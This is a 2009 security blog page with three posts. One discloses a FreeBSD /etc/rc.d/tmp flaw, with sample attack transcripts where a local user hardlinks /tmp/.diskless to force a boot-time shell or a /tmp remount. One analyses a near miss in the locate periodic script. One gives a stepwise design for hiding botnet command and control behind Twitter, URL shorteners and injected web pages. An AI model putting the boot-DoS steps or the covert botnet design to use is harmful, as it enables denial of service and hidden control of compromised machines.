Monday, December 07, 2009

Issue with FreeBSD /etc/rc.d/tmp Script

FreeBSD has a minor issue with the current /etc/rc.d/tmp script. Here's the current script:

#!/bin/sh
#
# Copyright (c) 1999 Matt Dillon
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
#
# $FreeBSD: src/etc/rc.d/tmp,v 1.40 2009/05/17 08:25:02 danger Exp $
#

# PROVIDE: tmp
# REQUIRE: mountcritremote

. /etc/rc.subr

name="tmp"
stop_cmd=':'

load_rc_config $name

# If we do not have a writable /tmp, create a memory
# filesystem for /tmp. If /tmp is a symlink (e.g. to /var/tmp,
# then it should already be writable).
#
case "${tmpmfs}" in
[Yy][Ee][Ss])
if ! /bin/df /tmp | grep -q "^/dev/md[0-9]"; then
mount_md ${tmpsize} /tmp "${tmpmfs_flags}"
chmod 01777 /tmp
fi
;;
[Nn][Oo])
;;
*)
if /bin/mkdir -p /tmp/.diskless 2> /dev/null; then
rmdir /tmp/.diskless
else
if [ -h /tmp ]; then
echo "*** /tmp is a symlink to a non-writable area!"
echo "dropping into shell, ^D to continue anyway."
/bin/sh
else
mount_md ${tmpsize} /tmp "${tmpmfs_flags}"
chmod 01777 /tmp
fi
fi
;;
esac


The default behavior of tmpmfs (defined in /etc/defaults/rc.conf) is set to AUTO. This causes the '*' case to be hit in the script. If a local user creates a file (not a directory) in /tmp called .diskless and the system is rebooted or the script is called directly, the system will either drop into /bin/sh prior to reaching DAEMON or the system will remount /tmp with a potentially smaller size than expected. Both of these conditions are probably not ideal and the prior condition could lead to a boot-up DoS, depending upon local system configurations. The latter condition is harder to fix once the system is in multi-user mode, and especially if users connect via SSH. This is because the /tmp directory will contain open files and/or sockets. So, a fix in this case would also require dropping the system into single-user mode. Because FreeBSD still allows a user to hardlink to a file that is not owned by that user (which has caused at least one issue in the past), the user can cause some shenanigans:

> echo $uid
1001
> ll /tmp
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .XIM-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .font-unix
drwxrwxr-x 2 root operator 512 Dec 7 15:10 .snap
-rw-r--r-- 1 root wheel 0 Dec 7 15:25 foo
> cd /tmp
> ln foo .diskless
> ll /tmp
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .XIM-unix
-rw-r--r-- 2 root wheel 0 Dec 7 15:25 .diskless
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .font-unix
drwxrwxr-x 2 root operator 512 Dec 7 15:10 .snap
-rw-r--r-- 2 root wheel 0 Dec 7 15:25 foo

The user could hide his or her actions because the hardlink would not show who setup the hardlink, assuming a file exists in /tmp that does not belong to the user. Rather, it shows the current permissions on the hardlinked file.

My initial idea at a fix is to include a new variable in /etc/rc.d/cleartmp that would be set to YES in /etc/defaults/rc.conf. The variable would be similar to clear_tmp_X (maybe called clear_tmp_safe?), calling a routine to wipe and remake the directory /tmp/.diskless. Once this script was ran by root, a subsequent call to /etc/rc.d/tmp upon reboot or directory would act right for most cases.

Diskless clients should be OK, though, as long as /tmp/.diskless is not included in /etc/mtree/BSD.root.dist. When /etc/rc.d/cleartmp would run the first time, it would already be on a memory /tmp file system (assuming /conf doesn't contain anything to point to a residual mount point that could have been tampered). Clients also using memory-backed /tmp should be OK, since the variable will force a creation of a memory-backed /tmp mount point. But, some other eyes should look at this prior to changing the behavior.

When I went through a setup of FreeBSD 8.0 using standard / default / auto-assign values, the system will create its own /tmp mountpoint with a size of 500MB or so. So, if one considered this a "default" setup, then having the case of /tmp remounted (and possibly filling up because of the 20MB size) would merit a CVSSv2 score probably no higher than 1.9 (AV:L/AC:M/Au:N/C:N/I:N/A:P). Worst case, the CVSSv2 score would merit a 4.7 (AV:L/AC:M/Au:N/C:N/I:N/A:C), in my opinion.

Appendix
Sample attack on a symlink'd /tmp:

> ls -la /tmp
lrwxr-xr-x 1 root wheel 7 Dec 7 15:55 /tmp -> var/tmp
> cd /tmp
> ll
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .XIM-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .font-unix
-rw-r--r-- 1 root wheel 0 Dec 7 15:55 foo
drwxrwxrwt 2 root wheel 512 Dec 7 15:44 vi.recover
> ln foo .diskless
> ll
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .XIM-unix
-rw-r--r-- 2 root wheel 0 Dec 7 15:55 .diskless
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .font-unix
-rw-r--r-- 2 root wheel 0 Dec 7 15:55 foo
drwxrwxrwt 2 root wheel 512 Dec 7 15:44 vi.recover
> su -
Password:
test-8# /etc/rc.d/tmp start
*** /tmp is a symlink to a non-writable area!
dropping into shell, ^D to continue anyway.
#


Sample attack on a mounted /tmp:

> mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
> df /tmp
Filesystem 1K-blocks Used Avail Capacity Mounted on
/dev/ad0s1e 507630 16 467004 0% /tmp
> ll /tmp
total 14
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .XIM-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .font-unix
drwxrwxr-x 2 root operator 512 Dec 7 15:10 .snap
-rw-r--r-- 1 root wheel 0 Dec 7 15:25 foo
> ln foo .diskless
> su -
Password:
test-8# /etc/rc.d/tmp start
test-8# mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
/dev/md0 on /tmp (ufs, local)
test-8# df /tmp
Filesystem 1K-blocks Used Avail Capacity Mounted on
/dev/md0 19566 4 17998 0% /tmp
test-8# ll /tmp
total 2
drwxrwxr-x 2 root operator 512 Dec 7 15:59 .snap

Sunday, December 06, 2009

Near Miss Issue with FreeBSD periodic locate Script

Whilst looking around at the periodic scripts for FreeBSD, I noticed something interesting with the locate(1) script:
 locdb=/var/db/locate.database

touch $locdb && rc=0 || rc=3
chown nobody $locdb || rc=3
chmod 644 $locdb || rc=3

cd /
echo /usr/libexec/locate.updatedb | nice -n 5 su -fm nobody || rc=3
chmod 444 $locdb || rc=3;;
As root, the script allows the nobody account read-write access to the file and subsequently runs the locate commands as nobody. This allows only public or nobody-owned files to be recorded in the locate database, which is usually desired. If the script ran as root, then everyone's files would be listed, which may leak some private information.

At first, I tried to see, if as nobody, I could symlink the file to something else, such as /etc/master.passwd or /etc/spwd.db. There seems to exist a possible race condition between the execution of the touch, chown, chmod and then the echo'd niced su command ran as nobody (which would open the file, making an unlink difficult). And since the nobody account is often used by ports (and inetd in one case), a vulnerability in that port could grant access to the nobody account. (Un)fortunately, /var/db is not writable by the nobody account. Because of this, even though nobody owns the file and has proper permission to read-write the file, the account does not have the ability to modify the directory. If the account cannot modify the directory, the account cannot create or remove the file.

With that vector not possible, the next thought was to explore the nobody account's ability to modify a file that others will read. If there existed some type of vulnerability within locate, such as memory corruption that could lead to exploitation, the locate db could be used as the vector. I'm not the best when it comes to spotting vulnerabilities, so by no means trust my analysis. The only "issue" I noticed was in locate.c. search_mmap won't munmap and close the file descriptor if fastfind_mmap (via fastfind.c) exits abruptly. This can occur here:


#endif /* FF_MMAP */
} else { /* slow step, =< 14 chars */
count += c - OFFSET;
}

if (count < 0 || count > MAXPATHLEN)
errx(1, "corrupted database: %s", database);



But, who cares. The process exits, so the mappings and file descriptors will get discarded anywho (as far as I know, which may be wrong). If the mappings aren't discarded, then this could eventually lead to memory exhaustion, especially if the file size was artificially inflated to be bigger than need be. But, this seems a silly way to do a local DDoS.

So, yeah, if someone notices a vulnerability with locate that could be exploited by corrupting the locate db, someone could potentially gain access to that user's account once that user ran the locate utility. Prior to this, though, the attacker would have to gain access to the nobody account, which isn't trivial, but seems probable due to all of the ports that utilize the account in some fashion.

Or, tl/dr, a near miss with locate.

Wednesday, December 02, 2009

Botnet Command And Control With Twitter

Using Twitter as a command and control (C&C) for botnets is a novel idea. Googling for twitter+botnet returns a bunch of results, with some diamonds. Listening to Risky Business Episode #121 got the brain juices flowing, though, on a way to be a bit more creative on the C&C structure.

Step 0: C&C Language
Out of scope for this discussion.

Step 1: Have Persistent Data Returned in a Web App
A possible way to get persistent data returned within an arbitrary web application would be to find a SQLi vulnerability or persistent XSS issue with some random application on the web. The idea is to be able to enter a string such as the following:

[PREFIX][ENCODED COMMAND WITH SIGNATURE]

This string could be commented out or a JavaScript variable. It just has to be present. The "PREFIX" would be used by the botnet as a search variable. If/when found, the appended command (with some type of signature to ensure integrity) would then be validated, and if good, used. The PREFIX could be updated in the future, though.

Step 2: Shorten a URL and Do Math
Enter the prior web application's URL into a popular URL shortener, such as bit.ly, yfrog.com, etc. Save the resulting shortened URL path. For example, the bit.ly shortened URL for http://www.google.com is http://bit.ly/14d7yE. Save the 14d7yE and associate it to bit.ly somehow.

Understand the range of values the shortener provides. bit.ly seems to use [0-9][a-z][A-Z], which would be an alphabet of 62 characters. Map these alphabets to some numbering system. For example, the google.com bit.ly shortened URL could map to this number:

1*62^5 + 4*62^4 + d*62^3 + 7*62^2 + y*62^1 + E*62^0, which is a number smaller than 990014512.

Call this number P.


Randomly pick a number and call it Q. Take P * Q to get N. N gets included with the botnet members. N should be a variant that can be updated by the botnet members.

Encode Q the same way that P was encoded by the shortener. Q now equals the PREFIX value from above.

Step 3: Inject PREFIX into App
Inject Q / PREFIX into the web app, along with the encoded commands.

Step 4: Create a Twitter Account (or Two, or 100)
Create a twitter account and upload a custom picture. Do not protect the account.


Step 5: Abuse Twitter Public Timeline (or Search) and PROFIT!
The twitter public timeline displays the tweets of 20 non-protected accounts with a custom picture, cached for a 60 second period. To request the current timeline in XML, GET http://twitter.com/statuses/public_timeline.xml.


With all of the available twitter accounts, tweet about the shortened URL. These accounts can tweet about any other URL they want. The botnet monitors the public timeline. The goal is to get one of these twitter accounts to be shown in the public timeline.

For whatever shorteners the botnet supports, it will have to follow each and every shortened URL. So, bit.ly may not be a good choice due to all of the false positives and traffic. All the same, a shortener that is rarely used may also stand out. Getting the tweets in the public timeline may be a numbers game.

Instead of using the timeline, the botnet could also search twitter for a shortener. For example, searching for short.to's shortener has a limited number of hits relative to bit.ly. One could use a list of shorteners to test this against and figure out a good one to use.

Once a shortener link is found, the botnet recreates the PREFIX / Q variable (called Q-prime) by taking the shortened URL, divided by the stored N variable. If the resultant Q-prime is an integer, then the botnet follows the link and searches for the Q-prime variable in the text of the site. If Q-prime is found, the botnet then attempts to decode the command, hopefully signed in some way.

VoilĂ !

Issues
  • Since the botnet only follows specific shortened URLs, the secrecy of the C&C server is somewhat impacted. Now, if Q is chosen is a way where it has a lot of coprime factors, then it seems more probable that N can be divided by a larger set of shortened URLs (Ps). But, I'm not a mathematician, so don't trust me here (or anywhere in this post :-)
  • If the Twitter accounts only tweet on the C&C shortened URL, the secrecy of the C&C system (and also the subversive nature of the Twitter accounts) is impacted. The accounts can send out random, harmless tweets to add noise.
  • The public timeline method seems cumbersome. The search method seems a bit more robust.
  • Systems that pound on twitter.com would probably reveal themselves to be bots
This seems to be a novel approach to running a C&C server advertised on Twitter. The botnet has no hardcoded data, outside of N, that would reveal the location of the C&C method. Subterfuge can be achieved with the twitter accounts to a point, assuming the prior tweets and links have something in common with the injected site. The bots could even search for other twitter stuff to add noise in the stream, such as popular accounts or sites.


Blog Archive